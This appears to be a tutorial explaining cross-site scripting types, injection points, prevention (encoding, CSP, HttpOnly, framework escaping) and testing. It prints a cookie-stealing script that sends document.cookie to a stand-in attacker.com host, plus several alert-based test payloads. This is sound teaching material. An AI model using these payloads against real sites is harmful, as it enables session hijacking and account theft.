XSS Basics: Cross-Site Scripting Attacks and Defense
Understand Cross-Site Scripting (XSS) vulnerabilities including reflected, stored, and DOM-based types with comprehensive prevention techniques.
When a Website Turns Against Its Visitors
A forum comment, a search box, a profile field — any place user input is displayed on a page can become an attack vector. An attacker injects <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> into a comment. Every visitor who loads that page silently sends their session cookie to the attacker. This is Cross-Site Scripting (XSS): a client-side code injection where malicious scripts execute in the victim's browser with the full privileges of the legitimate site.
Impact of XSS
XSS can lead to severe consequences including session hijacking (stealing cookies to impersonate users), credential theft through fake forms, keylogging (recording keystrokes), website defacement, malware distribution, and sophisticated phishing attacks.
Types of XSS
Reflected XSS (Non-Persistent)
The injected script is reflected off the web server in the immediate response. It is typically delivered through crafted links and only affects the user who clicks the malicious link.
Example: A search page that displays the search term without sanitization:
http://example.com/search?q=<script>alert('XSS')</script>
Stored XSS (Persistent)
The injected script is permanently stored on the server — in a database, comment section, forum post, or user profile — and executed whenever users view the affected page.
Example: A comment containing <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> would send every visitor's session cookies to the attacker.
DOM-based XSS
The vulnerability exists entirely in client-side JavaScript rather than on the server. The attack payload modifies the Document Object Model (DOM) environment in the victim's browser.
Example: JavaScript that reads from location.hash and writes to innerHTML:
var name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = name;
Visiting http://example.com/#<img src=x onerror=alert(1)> triggers XSS without any server interaction.
XSS Attack Vectors
Common Injection Points
Search and query fields, form inputs, URL parameters, HTTP headers (User-Agent, Referer), file upload metadata, JSON and API responses, and WYSIWYG editors are all potential entry points.
Payload Examples
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
<a href="javascript:alert(1)">Click</a>
XSS Prevention
Context-Aware Output Encoding
Encode output based on where it appears in HTML. HTML context requires encoding < > & " '. Attribute context requires encoding " ' and spaces. JavaScript context requires escaping quotes and special characters.
Content Security Policy (CSP)
CSP is a powerful browser security mechanism that restricts which scripts can execute:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com; object-src 'none'
This prevents execution of inline scripts and limits scripts to trusted sources, making XSS significantly harder to exploit.
Input Validation
Whitelist allowed characters, validate input format and type, reject dangerous patterns, and limit input length. However, input validation alone is insufficient — always combine with output encoding.
Framework Protections
Modern frameworks provide built-in XSS protection: React escapes values in JSX by default, Angular sanitizes untrusted values, and Vue.js auto-escapes template expressions. However, methods like innerHTML,v-html, and dangerouslySetInnerHTML bypass these protections.
HttpOnly Cookies
Marking session cookies as HttpOnly prevents JavaScript from accessing them via document.cookie, protecting against session theft through XSS.
Testing for XSS
Manual testing involves identifying input vectors, submitting test payloads, checking if payloads appear in page source, testing with encoding variations, and testing different contexts.
Automated tools: Burp Suite scanner, XSStrike, OWASP ZAP, and Wapiti can detect XSS vulnerabilities.
Defense Checklist
XSS remains a critical web security threat ranking consistently in the OWASP Top 10. A defense-in-depth approach combining output encoding, CSP, input validation, and regular testing is essential for prevention.
References
{@ref owasp-top10}
{@ref owasp-testing-guide}
{@ref owasp-cheatsheet}